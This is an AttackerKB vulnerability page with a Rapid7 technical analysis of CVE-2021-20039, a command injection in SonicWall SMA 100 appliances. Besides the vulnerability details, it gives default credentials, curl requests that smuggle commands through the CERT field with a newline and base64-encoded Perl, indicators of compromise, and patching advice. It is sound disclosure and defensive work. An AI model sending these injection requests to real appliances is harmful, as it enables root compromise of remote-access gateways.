High
CVE-2021-20039
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
CVE-2021-20039
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
Improper neutralization of special elements in the SMA100 management interface ‘/cgi-bin/viewcert’ POST http method allows a remote authenticated attacker to inject arbitrary commands as a ‘nobody’ user. This vulnerability affected SMA 200, 210, 400, 410 and 500v appliances.
Add Assessment
Ratings
-
Attacker ValueHigh
-
ExploitabilityHigh
Technical Analysis
This authenticated and remote command injection allows a remote attacker to execute code as root
. Authentication is the only serious hurdle to exploiting this issue, and it should be noted that SMA 100 series use default credentials for the admin
user. For full details see the Rapid7 analysis.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportCVSS V3 Severity and Metrics
General Information
Vendors
- sonicwall
Products
- sma 200 firmware 10.2.0.8-37sv,
- sma 200 firmware 10.2.1.1-19sv,
- sma 200 firmware 9.0.0.11-31sv,
- sma 210 firmware 10.2.0.8-37sv,
- sma 210 firmware 10.2.1.1-19sv,
- sma 210 firmware 9.0.0.11-31sv,
- sma 400 firmware 10.2.0.8-37sv,
- sma 400 firmware 10.2.1.1-19sv,
- sma 400 firmware 9.0.0.11-31sv,
- sma 410 firmware 10.2.0.8-37sv,
- sma 410 firmware 10.2.1.1-19sv,
- sma 410 firmware 9.0.0.11-31sv,
- sma 500v firmware 10.2.0.8-37sv,
- sma 500v firmware 10.2.1.1-19sv,
- sma 500v firmware 9.0.0.11-31sv
References
Additional Info
Technical Analysis
Description
On December 7, 2021, SonicWall released new firmware for their Secure Mobile Access (SMA) 100 series. SonicWall issued a security advisory on January 11, 2022 notifying users that the December releases fixed security issues found by Rapid7. One such issue was an authenticated command injection vulnerability in the web interface that allows remote attackers to execute arbitrary commands as the root
user. The vulnerability was assigned CVE-2021-20039 and has a CVSS score of 7.2.
While authentication is required for this vulnerability, the SMA 100 series default credentials, if left unchanged, can be used to exploit this issue.
A Metasploit module has been developed for this vulnerability. It is not yet known to be exploited in the wild.
Affected products
The following firmware versions for the SMA 100 series are affected:
- 10.2.1.2-24sv and earlier
- 10.2.0.8-37sv and earlier
- 9.0.0.11-31sv and earlier
Rapid7 analysis
The vulnerability can be found in the cgi-bin binary viewcert
. There are a few paths that can be followed to exploit this vulnerability, but this analysis will focus on the “delete” functionality of viewcert
. The “delete” functionality, unsurprisingly, allows the administrative user to delete SSL/TLS certificates that have been uploaded to the system.
The image above shows an obvious command injection issue, assuming that the attacker has full control over pcVar2
. pcVar2
is the value associated with the HTTP request’s CERT
parameter.
Above we can see that pcVar2
does go through some validation. Specifically, it’s checked to ensure the string starts with ‘n’ or ‘d’ and it is passed through the safeSystemCmdArg2
function. The safeSystemCmdArg2
function scans the provided string and truncates it at the first disallowed character. The standard shell metacharacters are not allowed: $
, &
, |
, >
, ;
, \
, ^
, etc. Also, inconveniently, /
is not allowed.
However, safeSystemCmdArg2
fails to identify the new line character (\n
) as an unsafe character. Which means an attacker can use a newline character to terminate the rm -rf
command (see above) and start a new command.
To recreate this issue, the attacker first needs to log in. Here is an example of logging in using the default credentials:
albinolobster@ubuntu:~$ curl -v --insecure -F username=admin -F password=password -F domain=LocalDomain -F portalname=VirtualOffice -F ajax=true https://10.0.0.7/cgi-bin/userLogin * Trying 10.0.0.7:443... * Connected to 10.0.0.7 (10.0.0.7) port 443 (#0) * ALPN, offering h2 * ALPN, offering http/1.1 * successfully set certificate verify locations: * CAfile: /etc/ssl/certs/ca-certificates.crt * CApath: /etc/ssl/certs * TLSv1.3 (OUT), TLS handshake, Client hello (1): * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8): * TLSv1.3 (IN), TLS handshake, Certificate (11): * TLSv1.3 (IN), TLS handshake, CERT verify (15): * TLSv1.3 (IN), TLS handshake, Finished (20): * TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.3 (OUT), TLS handshake, Finished (20): * SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384 * ALPN, server accepted to use http/1.1 * Server certificate: * subject: C=US; ST=CA; L=Santa Clara; O=SonicWall; OU=Secure Mobile Access; CN=sslvpn * start date: Jan 1 00:00:01 1970 GMT * expire date: Jan 19 03:14:07 2038 GMT * issuer: C=US; ST=CA; L=Santa Clara; O=SonicWall; OU=Secure Mobile Access; CN=sslvpn * SSL certificate verify result: self signed certificate (18), continuing anyway. > POST /cgi-bin/userLogin HTTP/1.1 > Host: 10.0.0.7 > User-Agent: curl/7.74.0 > Accept: */* > Content-Length: 568 > Content-Type: multipart/form-data; boundary=------------------------0e0e8e34b8b1cda4 > * We are completely uploaded and fine * TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): * TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): * old SSL session ID is stale, removing * Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Date: Mon, 29 Nov 2021 21:14:06 GMT < Server: SonicWALL SSL-VPN Web Server < X-NE-tf: 0 < Pragma: no-cache < Cache-Control: no-cache, must-revalidate < Set-Cookie: swap=WFh1ZktXNHQwOENuVmJFMW5ScDdEbzVHQ1hNMXNNenZrSVlCOFIxdTFKVT0=; path=/; secure; HttpOnly < Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'self'; style-src 'self' 'unsafe-inline' < X-FRAME-OPTIONS: SAMEORIGIN < X-XSS-Protection: 1; mode=block < Referrer-Policy: strict-origin < X-Content-Type-Options: nosniff < Transfer-Encoding: chunked < Content-Type: application/json; charset=UTF-8 < * Connection #0 to host 10.0.0.7 left intact {"status":"success","redirect":"/cgi-bin/management"}
To execute the attack, grab the swap
value from the cookie and replace it in the following request:
curl -v --insecure --Cookie swap=WFh1ZktXNHQwOENuVmJFMW5ScDdEbzVHQ1hNMXNNenZrSVlCOFIxdTFKVT0= -H "User-Agent: SonicWALL Mobile Connect" -F buttontype=delete -F $'CERT=nj \nsleep 20 \n' https://10.0.0.7/cgi-bin/viewcert
This will blindly execute the command sleep 20
. We can observe this was successful because curl will have to wait ~20 seconds for the server to respond.
The space for the attacker’s payload in the CERT
field is quite limited. As shown earlier the payload is first passed through a _sprintf_chk
call to build the rm -rf
string. If _sprintf_chk
detects an overflow it calls exit
(terminating the process), so the full command
is truly limited to 0x100 bytes. Also, a majority of that space is chewed up by the legitimate portion of the rm -rf
command already. So it’s difficult to fit in any type of payload.
Also problematic is all the disallowed characters. Redirecting to a file or even using curl
(which actually isn’t even available on 9.x) is impossible due to the filtering. In our Metasploit module, we solved this problem by base64 encoding commands on the client side and then decoding and evaluating the commands with Perl on the server side. Here’s an example that executes touch /tmp/lol
:
curl -v --insecure --Cookie swap=NkcxVG1VRXRZcmNUejBDZTUxaEoxMWJVUzdkdWJhaTNMTjUyek1vbGtucz0= -H "User-Agent: SonicWALL Mobile Connect" -F buttontype=delete -F $'CERT=nj \nperl -MMIME::Base64 -e \'system(decode_base64("dG91Y2ggL3RtcC9sb2w="))\'' https://10.0.0.7/cgi-bin/viewcert
Looking at the file in /tmp/
we can see that it was written by the root user.
sh
root@sslvpn:/tmp # ls -l /tmp/lol
-rw-r--r-- 1 root nobody 0 Nov 29 13:39 /tmp/lol
The Metasploit module is able to establish a Meterpreter session using this relatively small payload space.
Indicators of Compromise
The httpd.log
is likely going to be the most useful indicator of compromise. This can be retrieved via the web interface: System –> Diagnostics –> Tech Support Report –> Download Report. The httpd.log
file will be within the zip archive. The exploit, as written, generates the following line:
[Mon Nov 29 13:51:05.180162 2021] [cgi:error] [pid 13625] [client 10.0.0.9:57806] AH01215: scandir: No such file or directory: /usr/src/EasyAccess/www/cgi-bin/viewcert
Realistically, an attacker can delete this log file shortly after exploiting the system, but it’s worthwhile for catching both exploitation attempts and attackers that don’t properly clean up after themselves.
The status.txt
log might also be of interest. Specifically, it displays all ps
output showing all running processes. Unfortunately, reviewing this log requires some familiarity with things that should and should not be running on the system which can be very hard to know for a layperson. Reviewing this output on our test system, both gdb
and busybox
are obvious anomalies.
Processes ----------------------------------------------------------------- USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.0 2068 584 ? Ss Nov27 0:42 init [3] root 2 0.0 0.0 0 0 ? S Nov27 0:00 [kthreadd] root 3 0.0 0.0 0 0 ? S Nov27 0:00 [ksoftirqd/0] root 4 0.0 0.0 0 0 ? S Nov27 0:00 [kworker/0:0] root 5 0.0 0.0 0 0 ? S< Nov27 0:00 [kworker/0:0H] root 6 0.0 0.0 0 0 ? S Nov27 0:00 [kworker/u4:0] root 7 0.0 0.0 0 0 ? S Nov27 2:12 [rcu_sched] root 8 0.0 0.0 0 0 ? S Nov27 0:00 [rcu_bh] root 9 0.0 0.0 0 0 ? S Nov27 0:06 [migration/0] root 10 0.0 0.0 0 0 ? S Nov27 0:15 [migration/1] root 11 0.0 0.0 0 0 ? S Nov27 0:01 [ksoftirqd/1] root 13 0.0 0.0 0 0 ? S< Nov27 0:00 [kworker/1:0H] root 14 0.0 0.0 0 0 ? S< Nov27 0:00 [khelper] root 15 0.0 0.0 0 0 ? S< Nov27 0:00 [netns] root 461 0.0 0.0 0 0 ? S< Nov27 0:00 [writeback] root 463 0.0 0.0 0 0 ? S< Nov27 0:00 [bioset] root 465 0.0 0.0 0 0 ? S< Nov27 0:00 [kblockd] root 622 0.0 0.0 0 0 ? S< Nov27 0:00 [ata_sff] root 632 0.0 0.0 0 0 ? S Nov27 0:00 [khubd] root 742 0.0 0.0 0 0 ? S Nov27 0:01 [kworker/0:1] root 757 0.0 0.0 0 0 ? S Nov27 0:00 [kswapd0] root 758 0.0 0.0 0 0 ? SN Nov27 0:00 [ksmd] root 825 0.0 0.0 0 0 ? SN Nov27 0:00 [khugepaged] root 826 0.0 0.0 0 0 ? S Nov27 0:00 [fsnotify_mark] root 845 0.0 0.0 0 0 ? S< Nov27 0:00 [crypto] root 1011 0.0 0.0 0 0 ? S Nov27 0:01 [kworker/1:1] root 1061 0.0 0.0 0 0 ? S< Nov27 0:00 [iscsi_eh] root 1065 0.0 0.0 0 0 ? S< Nov27 0:00 [kworker/0:1H] root 1069 0.0 0.0 0 0 ? S< Nov27 0:00 [fc_exch_workque] root 1070 0.0 0.0 0 0 ? S< Nov27 0:00 [fc_rport_eq] root 1071 0.0 0.0 0 0 ? S< Nov27 0:00 [fcoethread/0] root 1072 0.0 0.0 0 0 ? S< Nov27 0:00 [fcoethread/1] root 1075 0.0 0.0 0 0 ? S< Nov27 0:00 [fnic_event_wq] root 1076 0.0 0.0 0 0 ? S< Nov27 0:00 [fnic_fip_q] root 1078 0.0 0.0 0 0 ? S< Nov27 0:00 [bnx2fc_l2_threa] root 1079 0.0 0.0 0 0 ? S< Nov27 0:00 [bnx2fc_thread/0] root 1080 0.0 0.0 0 0 ? S< Nov27 0:00 [bnx2fc_thread/1] root 1107 0.0 0.0 0 0 ? S Nov27 0:00 [scsi_eh_0] root 1149 0.0 0.0 0 0 ? S< Nov27 0:00 [bnx2i_thread/0] root 1150 0.0 0.0 0 0 ? S< Nov27 0:00 [bnx2i_thread/1] root 1197 0.0 0.0 0 0 ? S< Nov27 0:00 [bond0] root 1244 0.0 0.0 0 0 ? S< Nov27 0:00 [cnic_wq] root 1246 0.0 0.0 0 0 ? S< Nov27 0:00 [cxgb4] root 1257 0.0 0.0 0 0 ? S Nov27 0:00 [kworker/1:2] root 1308 0.0 0.0 0 0 ? S< Nov27 0:00 [deferwq] root 1322 0.0 0.0 0 0 ? S Nov27 0:00 [kjournald] root 1328 0.0 0.0 0 0 ? S< Nov27 0:00 [loop0] root 1407 0.0 0.0 13752 2744 ? Sl Nov27 1:45 /usr/sbin/vmtoolsd root 1408 0.0 0.0 0 0 ? S< Nov27 0:00 [kworker/1:1H] root 1435 0.0 0.0 2376 588 ? Ss Nov27 0:00 /usr/sbin/fcron root 1447 0.0 0.4 19712 16996 pts/1 S+ 03:51 0:00 ./gdb -p 30092 root 1483 0.0 1.4 93152 59728 ? Sl Nov27 0:55 /usr/bin/python3.6 /usr/src/EasyAccess/www/python/authentication_api/restful_api.py nobody 1526 0.0 0.0 0 0 ? Z 03:52 0:00 [staticContent] <defunct> root 1551 0.0 0.2 20720 11124 ? Ss Nov27 1:42 /usr/src/EasyAccess/bin/smm -d root 1627 0.0 0.0 1904 224 ? Ss Nov27 0:00 /usr/sbin/ntpUpdate -d -i 3600 -p time.nist.gov -s time.windows.com root 1634 0.0 0.0 2120 596 ? Ss Nov27 0:00 /usr/sbin/syslogd -m 0 root 1639 0.0 0.0 3136 1684 ? Ss Nov27 0:00 /usr/sbin/klogd -c 1 root 1712 0.0 0.0 13208 1980 ? Ss Nov27 0:00 /usr/sbin/crlUpdate -d -i 1440 root 1719 0.0 0.0 13828 1968 ? Ss Nov27 0:03 htcacheclean -nti -d60 -l5M -p/var/webcache root 1735 0.0 0.0 13164 1740 ? Ss Nov27 0:00 /usr/src/EasyAccess/bin/anonySessionD root 1737 0.0 0.0 13164 1492 ? S Nov27 0:00 /usr/src/EasyAccess/bin/anonySessionD root 1740 0.0 0.0 14320 3484 ? Ss Nov27 0:00 /usr/src/EasyAccess/bin/firebase -d root 1748 0.0 0.3 45472 15316 ? Sl Nov27 0:00 /usr/bin/node /usr/src/EasyAccess/bin/js/master.js root 1749 0.0 0.0 2080 268 ? S Nov27 0:00 cat root 1752 0.0 0.3 45308 15408 ? Sl Nov27 0:00 /usr/bin/node --debug-port=5859 /usr/src/EasyAccess/bin/js/ssoProxy.js root 1760 0.0 0.0 13616 2116 ? Ss Nov27 0:00 /usr/src/EasyAccess/bin/wireguard -d root 1779 0.8 0.2 23468 8940 ? Ss Nov27 21:47 /usr/src/EasyAccess/bin/httpd root 1805 0.0 0.0 13852 2556 ? Ss Nov27 0:00 /usr/src/EasyAccess/bin/ftpsession -d root 1811 0.1 0.0 13916 3936 ? S<s Nov27 2:51 /usr/src/EasyAccess/bin/graphd -d root 1820 0.0 0.0 13356 1816 ? Ss Nov27 0:00 /usr/src/EasyAccess/bin/rootHelper -d root 1832 0.0 0.0 54412 2548 ? Ssl Nov27 0:04 /usr/src/EasyAccess/bin/dhcpcd -d root 1851 0.0 0.1 15968 5260 ? Ss Nov27 0:06 /usr/src/EasyAccess/bin/nxlog -d root 1867 0.0 0.0 13304 3152 ? S Nov27 0:00 /usr/src/EasyAccess/bin/downloadclient -d root 1893 0.0 0.0 13204 2512 ? S Nov27 0:00 /usr/sbin/LicenseManager root 1894 0.0 0.0 13200 2600 ? S Nov27 0:00 /usr/sbin/PKGDownload root 1897 0.0 0.0 13772 3708 ? Ss Nov27 0:16 /usr/src/EasyAccess/bin/HA -d root 1922 0.0 0.1 15224 5976 ? Ss Nov27 0:00 /usr/sbin/updateAgent -d root 1923 0.0 0.0 13172 2556 ? S Nov27 0:06 /usr/sbin/watchdog root 1924 0.0 0.1 13708 4948 ? S Nov27 0:14 /usr/sbin/swMonitor root 2205 0.0 0.0 0 0 ? S Nov28 0:00 [kworker/u4:2] root 2379 0.0 0.0 2048 432 tty1 Ss+ Nov27 0:00 /sbin/mingetty tty1 root 2380 0.0 0.0 2048 432 tty2 Ss+ Nov27 0:00 /sbin/mingetty tty2 root 4284 0.0 0.0 1136 64 ? Ss Nov27 0:00 ./busybox telnetd root 4301 0.0 0.0 3564 1768 pts/0 Ss+ Nov27 0:00 -cli root 4346 0.0 0.0 3488 1752 pts/1 Ss Nov27 0:00 -cli nobody 18542 0.0 0.2 25772 12268 ? S 07:41 0:00 /usr/src/EasyAccess/bin/httpd nobody 21363 0.0 0.7 44288 29776 ? S 08:19 0:01 /usr/src/EasyAccess/bin/httpd nobody 24039 0.0 0.7 44344 30100 ? S 08:55 0:00 /usr/src/EasyAccess/bin/httpd nobody 24259 0.0 0.7 44288 29776 ? S 08:58 0:01 /usr/src/EasyAccess/bin/httpd nobody 27511 0.0 0.7 44340 30128 ? S 09:42 0:01 /usr/src/EasyAccess/bin/httpd nobody 30092 0.0 0.2 25772 12200 ? t 03:01 0:00 /usr/src/EasyAccess/bin/httpd nobody 30331 1.1 0.7 44284 29316 ? S 10:20 0:00 /usr/src/EasyAccess/bin/httpd nobody 30382 0.0 0.2 25700 11904 ? S 10:20 0:00 /usr/src/EasyAccess/bin/httpd nobody 30391 0.0 0.2 25568 8788 ? S 10:20 0:00 /usr/src/EasyAccess/bin/httpd nobody 30392 0.0 0.2 25568 8788 ? S 10:20 0:00 /usr/src/EasyAccess/bin/httpd nobody 30394 0.0 0.2 25568 8788 ? S 10:20 0:00 /usr/src/EasyAccess/bin/httpd nobody 30395 0.0 0.2 25568 8788 ? S 10:20 0:00 /usr/src/EasyAccess/bin/httpd nobody 30396 0.0 0.2 25700 11908 ? S 10:20 0:00 /usr/src/EasyAccess/bin/httpd nobody 30397 0.0 0.2 25568 8788 ? S 10:20 0:00 /usr/src/EasyAccess/bin/httpd root 30465 2.0 0.1 13776 4612 ? S 10:21 0:00 /usr/src/EasyAccess/www/spog/exportDiagnostics root 30599 0.0 0.0 3480 1420 ? S 10:21 0:00 sh -c ps awux>>/tmp/status.txt 2>&1 root 30600 0.0 0.0 2556 880 ? R 10:21 0:00 ps awux
Finally, it’s important to note that the root
user has write access to the web server’s cgi-bin directory (/usr/src/EasyAccess/www/cgi-bin/
) which could allow them to upload a webshell to the system. As such, reviewing the http_request.log
for potential access to a webshell could be beneficial. However, modifications to cgi-bin
will not persist between reboots (although whether a rebooted system is trust-worthy after exploitation is another matter).
The Metasploit module for CVE-2021-20039 could allow for deeper forensic analysis. Although, it’s likely wise to consider what type of forensic effect you are having on a system by exploiting it yourself.
Guidance
Ensure your system is not using the default admin username and password, and enable multi-factor authentication whenever possible. Apply the patches provided by SonicWall. If possible, limit the exposure of the device to known good entities and enable a WAF that would prevent any type of address guessing attacks. Regularly review the system’s logs for potential exploitation. When possible, apply SonicWall’s guidance for SMA 100 series best security practices.
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: